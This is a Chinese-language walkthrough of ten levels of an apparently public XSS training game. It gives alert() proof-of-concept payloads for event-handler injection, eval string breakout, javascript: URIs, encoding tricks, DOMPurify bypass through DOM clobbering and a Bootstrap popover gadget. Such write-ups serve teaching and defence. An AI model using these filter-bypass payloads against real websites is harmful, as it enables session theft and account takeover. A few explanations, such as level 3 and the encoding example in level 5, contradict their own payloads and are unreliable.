XSS Game通关教程
字数 1214 2025-08-24 16:48:16
XSS Game通关教程详解
1. Ma Spaghet!
漏洞点:直接通过GET参数somebody传输用户输入,未做任何过滤。
利用方法:
- 输入
<input onmouseover=alert(1)> - 当鼠标移动到输入框时触发弹窗
原理:直接将用户输入插入到HTML中,可以构造任意HTML标签和事件。
2. Jefff
漏洞点:用户输入jeff被直接放入eval()函数中执行。
利用方法:
?jeff="-alert(1337)-"
或
?jeff=";alert(1337);"
原理:通过闭合前面的字符串并插入新的JS代码,使eval执行我们构造的代码。
3. Ugandan Knuckles
过滤:尖括号被过滤。
利用方法:
?wey="<a autofocus onfocus=alert(23) href=#>x</a>"
或
<xss tabindex=1 onfocus=alert(1) autofocus>
或
<xss onfocus=alert(23) autofocus contenteditable>
原理:虽然尖括号被过滤,但可以通过闭合input标签的属性值并添加新的事件处理器。
4. Ricardo Milos
漏洞点:用户输入直接作为表单提交的URL地址,无任何过滤。
利用方法:
?ricardo=javascript:alert(1337)
原理:使用javascript伪协议直接在URL中执行JS代码。
5. Ah That's Hawt
过滤:括号、斜点、斜杠被过滤。
绕过方法:使用HTML实体编码。
步骤:
- 原始payload:
<svg onload="alert(1337)"> - 实体编码:
<svg onload="alert(1337)"> - URL编码:
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
6. Ligma
过滤:字母和数字被过滤。
绕过方法:使用JSFuck编码。
步骤:
- 原始payload:
alert(1337) - JSFuck编码:使用
[]()!+等字符构造等效JS代码 - URL编码后作为
balls参数传递
7. Mafia
限制:
- 截取长度50的字符串
'"+-!\[]被替换为_alert被替换为_
绕过方法:
- 匿名函数方式:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
- 数字转字符串方式:
?mafia=eval(8680439..toString(30))(1337)
- location.hash方式:
?mafia=eval(location.hash.slice(1))#alert(1337)
8. Ok, Boomer
防护:使用DOMPurify过滤。
绕过方法:DOM Clobbering技术。
步骤:
- 创建id为
ok的DOM元素 - 利用
<a>标签的href属性 - 使用DOMPurify允许的协议(如mailto、tel)
payload:
?boomer=<a%20id=ok%20href=mailto:alert(1337)>
或
?boomer=<a%20id=ok%20href=tel:alert(1337)>
9. Area 51
过滤:输入被包裹在HTML注释中。
绕过方法:打破注释。
payload:
?debug=<?php><svg onload=alert(1337)>
或
?debug=<?><svg onload=alert(1337)>
或
?debug=<?php>
10. Keanu
防护:使用DOMPurify过滤name参数。
绕过方法:利用Bootstrap popover的data-container和data-content属性。
payload:
?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//">
或
?number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">
总结
本教程详细介绍了10种XSS漏洞的利用方法,涵盖了:
- 基本的HTML注入
- JavaScript代码注入
- 绕过字符过滤的技术(实体编码、JSFuck)
- DOM Clobbering
- 打破HTML注释
- 利用前端框架特性绕过防护
每种技术都有其适用场景,理解这些技术有助于更好地防御XSS攻击。